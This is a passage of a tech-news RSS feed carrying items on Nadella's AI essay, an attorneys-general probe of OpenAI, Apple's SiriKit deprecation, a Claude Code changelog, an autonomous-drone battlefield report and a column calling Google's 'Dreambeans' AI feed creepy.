on an internal message board: "This is absolutely a non-goal! If anything we are doing the exact opposite. We want to make sure AI empowers and adds real value to human endeavor and broad economic growth!"</p><p>The Scout incident and Sunday's essay together suggest Nadella is actively constructing a public philosophy of AI that emphasizes broad value creation over extractive engagement — whether or not every corner of Microsoft has internalized that message. One anonymous Microsoft employee told 404 Media, as the Post reported, that the leaked Scout document was "very troubling," adding: "It feels like one of those 'saying the quiet part out loud' moments."</p><p>For technical decision-makers evaluating Nadella's essay, the practical implications are significant. He is arguing that choosing an AI model matters less than building the learning infrastructure around it. He is arguing that the ability to swap models without losing institutional intelligence is the critical test of AI sovereignty. And he is warning that companies that fail to build these systems will find their expertise absorbed and commoditized by the models themselves. "You can offload a task, or even a job, but you can never offload your learning," Nadella writes. "The future of the firm is the ability to compound that learning across people and AI."</p><h2>The question Nadella's essay cannot answer is whether Microsoft will practice what its CEO preaches</h2><p>Whether Nadella's vision materializes depends on a question his essay carefully sidesteps: whether the platform providers who build and host the frontier ecosystem will resist the temptation to capture the value flowing through it. Nadella insists that "platforms enable more value on top than is captured inside." But Microsoft's own trajectory this year — the ballooning capital expenditures, the Claude Code budget crisis, the shareholder lawsuit alleging concealed costs, the internal memo about making users addicted — suggests the economics of restraint are harder than the philosophy of restraint.</p><p>Nadella ends his essay with the claim that broad value distribution "is the stable equilibrium we should build together." He may be right. Ecosystems have historically outperformed walled gardens over long time horizons. But stable equilibria require every major player to forgo short-term extraction in favor of long-term compounding — and right now, the AI industry is burning through budgets in four months and spending 66% more on infrastructure than analysts expected. The CEO of the world's most valuable technology company has written an eloquent argument for why the AI economy needs to work differently. The open question is whether his own company's balance sheet will let him prove it.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dutton Ranch episode 6 killed off yet another unhinged character — but it's this unexpected survivor that fans of the Taylor Sheridan Yellowstone spinoff are most worried about]]></title>
<description><![CDATA[Thanks to Dutton Ranch episode 6, we're now grappling with two unexpected deaths — but Yellowstone fans are more worried about one vulnerable survivor.]]></description>
<link>https://tsecurity.de/de/3598997/it-nachrichten/dutton-ranch-episode-6-killed-off-yet-another-unhinged-character-but-its-this-unexpected-survivor-that-fans-of-the-taylor-sheridan-yellowstone-spinoff-are-most-worried-about/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3598997/it-nachrichten/dutton-ranch-episode-6-killed-off-yet-another-unhinged-character-but-its-this-unexpected-survivor-that-fans-of-the-taylor-sheridan-yellowstone-spinoff-are-most-worried-about/</guid>
<pubDate>Mon, 15 Jun 2026 14:02:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Thanks to Dutton Ranch episode 6, we're now grappling with two unexpected deaths — but Yellowstone fans are more worried about one vulnerable survivor.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Investigated By Coalition of America's State Attorneys General]]></title>
<description><![CDATA["A coalition of state attorneys general has opened an investigation into OpenAI," reports the Wall Street Journal, citing "people familiar with the matter."

OpenAI was served Friday with a subpoena seeking documents related to a broad range of its activities and impact on users, including advert...]]></description>
<link>https://tsecurity.de/de/3595997/it-security-nachrichten/openai-investigated-by-coalition-of-americas-state-attorneys-general/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595997/it-security-nachrichten/openai-investigated-by-coalition-of-americas-state-attorneys-general/</guid>
<pubDate>Sat, 13 Jun 2026 19:52:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["A coalition of state attorneys general has opened an investigation into OpenAI," reports the Wall Street Journal, citing "people familiar with the matter."

OpenAI was served Friday with a subpoena seeking documents related to a broad range of its activities and impact on users, including advertising, user engagement and retention, handling of consumer data and health data, activities related to minors and seniors, deep learning models, model sycophancy and company policies, some of the people said. The subpoena, viewed by The Wall Street Journal, was sent by New York's attorney general.... 

Earlier this month, Florida became the first state to file a lawsuit against OpenAI and its chief executive, Sam Altman. The lawsuit claims OpenAI and Altman knowingly released an unsafe product and ignored warnings that it could harm users. Florida's Attorney General, James Uthmeier, opened a criminal investigation into OpenAI in April over the role its chatbot played in a mass shooting that killed two people at Florida State University last year. The suspect allegedly turned to ChatGPT as a confidant and sounding board to plan the attack, and the chatbot dispensed advice for his questions... 
State attorneys general have been scrutinizing OpenAI's competitors in the AI industry as well. In December, a coalition of 42 state attorneys general led by Pennsylvania's Dave Sunday sent a letter to companies including OpenAI, Meta, Anthropic, Google and xAI. In the letter, the Attorneys General demanded safeguards to protect vulnerable users from harmful interactions with chatbots, warning that "developers may be held accountable for the outputs of their GenAI products" for "encouraging an individual to commit a criminal act." 

"We take the concerns raised by state attorneys general seriously," OpenAI told the Journal in a statement, "and intend to engage constructively with their offices." 

The article also acknowledges that The Wall Street Journal's parent company "has a content-licensing partnership with OpenAI."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=OpenAI+Investigated+By+Coalition+of+America's+State+Attorneys+General%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F13%2F1655212%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F13%2F1655212%2Fopenai-investigated-by-coalition-of-americas-state-attorneys-general%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/13/1655212/openai-investigated-by-coalition-of-americas-state-attorneys-general?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Just Killed SiriKit, and Developers Should Be Concerned]]></title>
<description><![CDATA[Apple’s new Siri grabbed most of the attention at WWDC 2026, but the bigger story for developers was Apple’s decision to deprecate SiriKit and make App Intents the primary way apps connect with Siri. That change affects how users discover, interact with, and automate apps across the Apple ecosyst...]]></description>
<link>https://tsecurity.de/de/3595603/ios-mac-os/apple-just-killed-sirikit-and-developers-should-be-concerned/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595603/ios-mac-os/apple-just-killed-sirikit-and-developers-should-be-concerned/</guid>
<pubDate>Sat, 13 Jun 2026 14:36:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s new Siri grabbed most of the attention at WWDC 2026, but the bigger story for developers was Apple’s decision to deprecate SiriKit and make App Intents the primary way apps connect with Siri. That change affects how users discover, interact with, and automate apps across the Apple ecosystem.



The Siri Story Everyone Is Talking About



Apple introduced a much smarter Siri that can understand context, handle follow-up requests, and work across apps more naturally. The company also expanded Apple Intelligence features, making Siri feel more conversational and useful in everyday tasks.



For users, that is the headline feature.



For developers, the real headline is what powers those interactions behind the scenes.



SiriKit Is Going Away



Apple has formally deprecated SiriKit, the framework that developers have used for years to connect apps with Siri. Existing apps will continue to work for now, but Apple has clearly signaled that App Intents is the future path. Developers are already seeing deprecation warnings and Apple expects teams to begin migrating.



This is not a minor technical update.



It changes how third-party apps participate in Siri's ecosystem.



Why App Intents Matter So Much



App Intents do far more than enable voice commands.



They connect apps to multiple parts of Apple's platforms, including:




Siri AI interactions



Spotlight search



Shortcuts automation



Widgets



Lock Screen actions



Action Button integrations



System-wide recommendation




As Apple pushes users toward AI-powered interactions, App Intents become the foundation that tells Siri what an app can do.



Without them, Siri has limited visibility into an app's features.



The Real Stakes for Developers



The new Siri is exciting, but Siri itself is only the interface.



App Intents define the actions Siri can actually perform.



If a task manager exposes its tasks through App Intents, Siri can create reminders, update projects, and answer questions about them. If another app does not expose those actions, Siri cannot help users interact with it in meaningful ways. 



That creates a new competitive reality.



Apps that adopt App Intents gain visibility across Apple's AI experiences. Apps that ignore them risk becoming harder to discover and use.



Apple Is Building an Intent-Based Future



This shift shows where Apple is heading.



Users increasingly interact with software through natural language instead of menus and buttons. Siri needs a structured way to understand what every app can do, and App Intents provide that structure.



Apple's developer documentation and WWDC sessions have pushed developers toward App Intents for several years. The SiriKit deprecation simply turns that recommendation into a requirement.



Wrap Up



The new Siri will attract headlines because users can immediately see it. The retirement of SiriKit will have a longer-lasting impact because it changes how every app integrates with Apple's AI ecosystem.



Years from now, developers may look back at WWDC 2026 and remember the Siri redesign. They will probably remember the App Intents transition even more because that decision shapes how apps connect to Siri, Spotlight, Shortcuts, and future Apple Intelligence features for years to come.]]></content:encoded>
</item>
<item>
<title><![CDATA[Spotify cares so little about Windows 11 the controversial disco ball icon came and went without ever touching a PC]]></title>
<description><![CDATA[Spotify has officially killed off its widely disliked 3D disco ball app logo. But if you only stream music on a PC, you never even knew it existed.]]></description>
<link>https://tsecurity.de/de/3593755/windows-tipps/spotify-cares-so-little-about-windows-11-the-controversial-disco-ball-icon-came-and-went-without-ever-touching-a-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593755/windows-tipps/spotify-cares-so-little-about-windows-11-the-controversial-disco-ball-icon-came-and-went-without-ever-touching-a-pc/</guid>
<pubDate>Fri, 12 Jun 2026 16:28:46 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Spotify has officially killed off its widely disliked 3D disco ball app logo. But if you only stream music on a PC, you never even knew it existed.]]></content:encoded>
</item>
<item>
<title><![CDATA[Kein &quot;Let&#039;s Dance&quot; am Freitag: RTL setzt stattessen auf diese Show]]></title>
<description><![CDATA[Monatelang gehörte der Freitagabend auf RTL der Tanz-Show "Let's Dance". Doch diese Woche müssen Fans mit einer anderen Show vorlieb nehmen.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Sender,																	Entertainment,																...]]></description>
<link>https://tsecurity.de/de/3592657/it-nachrichten/kein-quotlet039s-dancequot-am-freitag-rtl-setzt-stattessen-auf-diese-show/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592657/it-nachrichten/kein-quotlet039s-dancequot-am-freitag-rtl-setzt-stattessen-auf-diese-show/</guid>
<pubDate>Fri, 12 Jun 2026 08:50:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Monatelang gehörte der Freitagabend auf RTL der Tanz-Show "Let's Dance". Doch diese Woche müssen Fans mit einer anderen Show vorlieb nehmen.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/tv-sender/">TV-Sender</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/rtl-plus/index.html">RTL+</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.174]]></title>
<description><![CDATA[What's changed

Added wheelScrollAccelerationEnabled setting to disable mouse-wheel scroll acceleration in fullscreen mode
Fixed the /model picker hiding the model family that Default resolves to — Opus now appears as its own row on Max/Team Premium/Enterprise plans, Sonnet on Pro/Team plans, and...]]></description>
<link>https://tsecurity.de/de/3592186/downloads/v21174/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592186/downloads/v21174/</guid>
<pubDate>Fri, 12 Jun 2026 03:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>wheelScrollAccelerationEnabled</code> setting to disable mouse-wheel scroll acceleration in fullscreen mode</li>
<li>Fixed the <code>/model</code> picker hiding the model family that Default resolves to — Opus now appears as its own row on Max/Team Premium/Enterprise plans, Sonnet on Pro/Team plans, and Opus on pay-as-you-go API accounts</li>
<li>Fixed <code>/model</code> picker showing a hardcoded Sonnet version label when <code>ANTHROPIC_DEFAULT_SONNET_MODEL</code> pins a different Sonnet</li>
<li>Fixed the "Fable 5 is now consuming usage credits" banner incorrectly showing for enterprise accounts with usage-based billing</li>
<li>Fixed Bedrock GovCloud regions (<code>us-gov-*</code>) deriving the wrong inference profile prefix (<code>global</code> instead of <code>us-gov</code>), causing 400 errors on derived model IDs</li>
<li>Fixed background sessions inheriting another session's <code>ANTHROPIC_*</code> provider env (gateway URL, custom headers, <code>/model</code> aliases) from the shell that started the background daemon</li>
<li>Fixed a 1-2 second pause when exiting Claude Code shortly after a shell command was interrupted or killed on macOS and Linux</li>
<li>Fixed git commit co-author attribution showing an incorrect model name for some models</li>
<li>Fixed the <code>/advisor</code> dialog pre-selecting a saved advisor model that is blocked by the <code>availableModels</code> allowlist</li>
<li>Fixed skill hot-reload re-sending the entire skill listing when a single skill changed; only changed skills are now re-announced</li>
<li>Fixed Workflow tool <code>agent()</code> subagents missing per-agent attribution headers</li>
<li>[VSCode] Added usage attribution to the Account &amp; usage dialog (<code>/usage</code>) showing cache misses, long context, subagents, and per-skill/agent/plugin/MCP breakdowns over the last 24h or 7d</li>
<li>Fixed pre-warmed background workers failing with "Could not resolve authentication method" when claimed after sitting idle</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fully Autonomous Drones Have Killed Human Soldiers For the First Time]]></title>
<description><![CDATA[Longtime Slashdot reader MattSparkes shares a report from NewScientist, captioned: "For years we've had unconfirmed reports, rumors, hints... now we know." From the report: Fully autonomous drones with no human oversight have killed soldiers on the battlefield for the first time. This is accordin...]]></description>
<link>https://tsecurity.de/de/3590266/it-security-nachrichten/fully-autonomous-drones-have-killed-human-soldiers-for-the-first-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590266/it-security-nachrichten/fully-autonomous-drones-have-killed-human-soldiers-for-the-first-time/</guid>
<pubDate>Thu, 11 Jun 2026 13:09:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader MattSparkes shares a report from NewScientist, captioned: "For years we've had unconfirmed reports, rumors, hints... now we know." From the report: Fully autonomous drones with no human oversight have killed soldiers on the battlefield for the first time. This is according to a senior figure in the Ukrainian defense industry, marking a watershed moment in warfare. The one-off test involved 10 AI-controlled "Terminator" drones on the front line of the Ukraine war. Russian soldiers were killed.
 
"We tried it," says drone-maker Alexander Kokhanovskyy, who supplied the technology and spoke to New Scientist at a press event hosted by the Ukrainian embassy. "It's a test. We never implemented it [more widely]." The test took place two years ago and involved quadcopter drones that were programmed to fly towards the front line, cover between 3 and 5 kilometres over around 10 minutes and then engage "Terminator mode," in which an AI model searches for and intercepts targets. "We just launch it and we know everything will be dead -- everything that will be found there in this particular area will be dead," says Kokhanovskyy. "There is no connection to the drone at all, you cannot see the video, nothing... Everything it sees will be killed."
 
With no way to tell what the automated drones had seen or targeted, human-piloted drones were sent into the area after the test to manually check results. Victims included "a couple of soldiers, one truck," says Kokhanovskyy. While there is no recording of the automated drones attacking these targets, it was concluded that the drones had killed them. Kokhanovskyy says that he was not at the test personally but that it was carried out by an unnamed military unit near the cities of Bakhmut and Chasiv Yar as part of a Ukrainian counteroffensive push. The Ukrainian Ministry of Defence did not respond to questions about the test or the current legal position on the use of fully autonomous weapons.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Fully+Autonomous+Drones+Have+Killed+Human+Soldiers+For+the+First+Time%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F11%2F0031209%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F11%2F0031209%2Ffully-autonomous-drones-have-killed-human-soldiers-for-the-first-time%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/06/11/0031209/fully-autonomous-drones-have-killed-human-soldiers-for-the-first-time?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft just killed the slow Microsoft Store downloads in Windows 11, after years of throttling]]></title>
<description><![CDATA[The Windows 11 June 2026 Patch Tuesday update (KB5094126) quietly fixes the Microsoft Store, finally ending years of throttled, painfully slow download speeds. While apps now update significantly faster and error reporting is improved, the Store's overall UI remains sluggish due to aging UWP code...]]></description>
<link>https://tsecurity.de/de/3588716/windows-tipps/microsoft-just-killed-the-slow-microsoft-store-downloads-in-windows-11-after-years-of-throttling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588716/windows-tipps/microsoft-just-killed-the-slow-microsoft-store-downloads-in-windows-11-after-years-of-throttling/</guid>
<pubDate>Wed, 10 Jun 2026 21:11:02 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Windows 11 June 2026 Patch Tuesday update (KB5094126) quietly fixes the Microsoft Store, finally ending years of throttled, painfully slow download speeds. While apps now update significantly faster and error reporting is improved, the Store's overall UI remains sluggish due to aging UWP code.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/06/11/microsoft-just-killed-the-slow-microsoft-store-downloads-in-windows-11-after-years-of-throttling/">Microsoft just killed the slow Microsoft Store downloads in Windows 11, after years of throttling</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Welcome to AI’s creepy era]]></title>
<description><![CDATA[For the past few days, I’ve been immersed in Google’s latest vision of the future — an AI-infused dashboard that taps into info from all of your Google app activity and then uses that data to cook up a series of daily “stories” designed to “connect you with what matters.”



And — believe me, I d...]]></description>
<link>https://tsecurity.de/de/3587194/ai-nachrichten/welcome-to-ais-creepy-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587194/ai-nachrichten/welcome-to-ais-creepy-era/</guid>
<pubDate>Wed, 10 Jun 2026 11:49:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For the past few days, I’ve been immersed in Google’s latest vision of the future — an AI-infused dashboard that taps into info from all of your Google app activity and then uses that data to cook up a series of daily “stories” designed to “connect you with what matters.”</p>



<p>And — believe me, I don’t say this lightly — the experience of interacting with this system has me longing more than ever for the past.</p>



<p>The app is called <a href="https://labs.google/dreambeans" target="_blank" rel="noreferrer noopener">Dreambeans</a>. Google <a href="https://blog.google/innovation-and-ai/models-and-research/google-labs/dreambeans/" target="_blank" rel="noreferrer noopener">launched it as an experiment</a> last Wednesday, and I was offered the opportunity to skip <a href="https://docs.google.com/forms/d/e/1FAIpQLSeLCFkp4XJeAieu_6PrgHeS7mRvrCEab1d9-7SjTai034hZaQ/viewform" target="_blank" rel="noreferrer noopener">the standard waitlist</a> and get immediate access to explore it.</p>



<p>I won’t beat around the bush: Using the app really has been an eye-opening, enlightening experience for me. Just not in the way that Google had presumably wanted.</p>



<p><strong>[Get level-headed knowledge in your inbox with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong>. Something new and useful every Friday — from my keyboard to your email.</strong>]</p>



<h2 class="wp-block-heading"><strong>Google Dreambeans and the next phase of AI</strong></h2>



<p>In many ways, Dreambeans feels like the ultimate example of everything Google’s been gunning for — and AI in general has been building up to — over the past several years.</p>



<p>With your permission, the app accesses your ongoing activity data from Google Workspace (including such services as Gmail, Google Calendar, and Google Drive) along with Google Search, Google Photos, and YouTube to create an evolving profile of your life and interests. That means everything from who you email to what’s on your agenda, what you’re writing or saving files about, and what sorts of subjects you’re searching for, videos you’re watching, and activities you and your friends, family, and other associates are appearing in throughout photos (and even how you all <em>look</em> in those photos) gets constantly analyzed and processed and used as fodder for a personalized feed that updates a few times a day.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>On the surface, it sounds a little like <a href="https://www.computerworld.com/article/1487695/google-now-revisited-one-month-with-android-s-new-secret-weapon.html">Google Now</a> — the excellent and all-too-short-lived proactive intelligence feature Google added into Android for a while back around 2012.</p>



<p>In practice, though, lemme tell ya: It <em>feels </em>dramatically different. Whereas Google Now felt almost magical in its ability to anticipate what you needed before you ever asked for it — with proactive cards on things like flight statuses based on itineraries in your inbox or flight-related searches you’d performed, traffic alerts based on your typical daily routes or appointments in your agenda, and links to maps for businesses you’d been researching — Dreambeans takes those same basic concepts to a whole other level that ends up feeling creepy and invasive, both in the info it’s offering and in the way it’s presenting it.</p>



<p>And, more broadly, it feels indicative of the way AI is heading in general — not just with this one app or with Google but across the industry and in a style that I think most people are increasingly finding off-putting and will only find ever more intrusive in time.</p>



<p>Now, let’s be clear: I’m no technophobe. Far from it: I <em>love</em> clever tech creations and thoughtful new touches that make our lives easier. Heck, I’ve spent much of my life searching for and writing about such feats. And that’s precisely why my reaction to Dreambeans strikes me as so significant: If <em>I’m</em> this put off by this concept, how will average tech users — most of whom are far less tuned into tech trends and intrigued by interesting new options then I am — react?</p>



<p>I’ll tell you more about what I’ve heard so far in a second. First, let me show you exactly what I’ve been seeing, so you can assess this thing for yourself and see how it comes across to <em>your </em>spidey senses.</p>



<p>Here’s a handful of the Dreambeans “story” suggestions that appeared in the app upon its first day working for me, with a few names and personal details blurred for privacy purposes:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-1.jpg?quality=50&amp;strip=all&amp;w=895" alt="Google Dreambeans AI feed (1)" class="wp-image-4183021" width="895" height="1024" sizes="auto, (max-width: 895px) 100vw, 895px"><figcaption class="wp-element-caption">Some of Dreambeans’ custom “stories” throughout my first day with the app.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>I’m honestly not even sure where all of these suggestions came from, but what jumped at me right away were the (occasionally flattering) caricatures of me and my wife and the general sense of invasion from all the <em>slightly</em> too personal stuff and too familiar integration of family members’ names and interests integrated into the material.</p>



<p>For the record: I <em>had</em> been looking into speaker stuff at some point in the not-too-distant past; I’ve never once typed, uttered, or even considered the phrase “hand-loomed textiles” until just now; we <em>had </em>been looking at the arts festival it mentioned; I’ve never specifically searched for or expressed any interest in <em>Scary Movie 6</em>; and I am <em>not </em>into the band Genesis — though, to be fair, <a href="https://www.youtube.com/watch?v=hGI2d31M7Ns">I can’t dance</a>.</p>



<p>I showed all this same material to my wife as well as to several other friends and family members I’d categorize more as typical tech users — not tech professionals or card-carrying geeks but just regular people who own and use a variety of devices, as we all do, and rely on ’em for both personal and professional purposes with varying levels of dread, excitement, and/or indifference. Without exception and without any prompting or personal opinions presented to sway them, every single one of ’em responded the same basic way: “Oh. That’s creepy.” And: “I do not like that.” Without fail.</p>



<p>It doesn’t get much better from here, either. Most of the app’s subsequent suggestions have continued to veer just a touch too far onto the “ick” side of the spectrum, as well as occasionally being off-base in some pretty perplexing ways. For instance:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-2.jpg?quality=50&amp;strip=all&amp;w=601" alt="Google Dreambeans AI feed (2)" class="wp-image-4183020" width="601" height="1024" sizes="auto, (max-width: 601px) 100vw, 601px"><figcaption class="wp-element-caption">Nice AirPods, Mr. Apple fan!</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>For the record on this set: I do love the show <em>Seinfeld</em> — SERENITY NOW! more than ever — though it’s been some time since I’ve actively watched it; I somewhat famously am allergic to Apple products and avoid ’em whenever possible (notice the name of this column, anyone?); I don’t live in the same city as my brother but do find it creepy to have him pictured in ghoulish caricature form and brought randomly into a discussion about Plex (something he wouldn’t even remotely be interested in hearing from me about); and my various editorial newsletters are all powered by a service called Kit — not Beehiiv — which is mentioned in plenty of places both on my websites and throughout my emails.</p>



<p>Also, while my hairline may not be what it once was, I’m (<em>ahem</em>) not <em>that</em> bald yet — thankyouverymuch, Dreambeans.</p>



<p>Another example that I <em>won’t </em>show here was an item that pictured me in overalls working on installing some “coated stainless steel wire for [my] gallery canvases” — a reference to a community art gallery (with all sorts of details wrong and in some cases flat-out fabricated) connected to my mother’s recent passing. It casually mentioned <em>her</em> by name, too, alongside that eerie illustration of me performing a skill I definitely don’t have in my nonexistent home workshop. I don’t think I have to elaborate on how unsettling, unappreciated, and — again — invasive it felt to have that pop up in this feed.</p>



<p>More than anything, what I’ve been feeling while seeing all of this is a combination of (a) <em>egad, it knows too much </em>— especially when it casually name-drops and caricature-pics my wife, kids, and other family members — and (b) at the same time, the info it’s giving me isn’t especially helpful or insightful. It’s mostly just flat, generic, and — well, more or less exactly what you’d expect from something AI-generated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-3.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Dreambeans AI feed (3)" class="wp-image-4183019" width="1024" height="886" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Seeing caricatures and personal details about my kids is odd — and, at the same time, neither of my kids actually plays or has any interest whatsoever in soccer.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>More than anything, in other words, it’s a combination of creepy and not particularly useful.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-4.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Dreambeans AI feed (4)" class="wp-image-4183018" width="1024" height="931" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Some of what I’ve seen when opening Dreambeans’ personal “stories.” Yay?</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And it’s the “creepy” part that really sticks with me the most.</p>



<h2 class="wp-block-heading"><strong>The fine line Google forgot to avoid crossing</strong></h2>



<p>Maybe if the info I’m being served up here were exceptionally useful, this could be a tradeoff I’d be at least a <em>little </em>more likely to accept. <em>Maybe</em>. But in this scenario, it just feels odd and a little too invasive — which I’ve come to realize is a common theme surrounding much of what seems to be the next level of our forced-upon-us AI future.</p>



<p>Take Google’s <a href="https://gemini.google/overview/agent/spark/" target="_blank" rel="noreferrer noopener">Gemini Spark</a>, for instance — the “agentic” AI assistant <a href="https://blog.google/innovation-and-ai/products/gemini-app/next-evolution-gemini-app/" target="_blank" rel="noreferrer noopener">announced at Google I/O</a> that’s meant to be a “proactive” helper tackling tasks on your behalf. David Pierce from The Verge got <a href="https://www.theverge.com/ai-artificial-intelligence/941388/gemini-spark-ai-agent-trip-planning" target="_blank" rel="noreferrer noopener">an early look at the tool in action</a> and called it “the most impressive and terrifying AI experience” he’s had to date, also bringing that “creepy” word into the equation:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>I can’t shake the deeply creepy feeling I get from the whole thing. What Spark did feels sort of magical, and very invasive. It’s weird that Spark is so casually telling me the names and ages of my children, reminding me that it knows where I live, and finding information I know for a fact I’ve never volunteered to Google. Intellectually, I know that Google knows an incredible amount about me — add up my emails, my calendar, my photos, and my search history, and you’ve pretty much got me pegged. But seeing Spark treat all that data not as something to be protected, but as something to be mined, just feels bad.</p>
</blockquote>



<p>And that, I think, mirrors the exact reaction I’ve been experiencing with Dreambeans. We’ve all always known that Google knows a lot about us, but we’ve also — at least intellectually — understood <a href="https://www.computerworld.com/article/1613558/google-privacy-questions.html">how all of that data is and <em>isn’t</em> being used</a>. And it’s never been rubbed in our faces just how much the company can figure out about us by putting all the various pieces together and creating an awkward sense of robotic intimacy.</p>



<p>I remember years ago, being in a Google press briefing where someone from the company talked about how much more their systems and services <em>could</em> accomplish but how they deliberately held back on going that far and overdoing the personalization — ’cause even though they <em>had</em> all that info and could make all those connections, they knew (at the time) that people wouldn’t respond well to seeing all their personal activity put together in such shocking ways. They knew (at the time) that most of us weren’t looking for an artificial BFF who knew too much about us. They knew (at the time) that giving us that sensation would cross the line into being creepy.</p>



<p>Well, this just in: That line’s officially been decimated. We’re in AI’s creepy era. And seemingly no one is worrying anymore if it’s actually something any of us want or will appreciate.</p>



<p>It kinda feels now like tech companies are actively rubbing in our faces how much they know about us — and even if there’s nothing truly <em>nefarious </em>going on with what they’re doing, it sure doesn’t feel good. It feels creepy. And at a time when trust in tech titans is shockingly low and most folks outside of the Silicon Valley bubble are feeling more and more frustrated with AI and all of the effects it’s foisting upon us, that isn’t a great look to be giving off.</p>



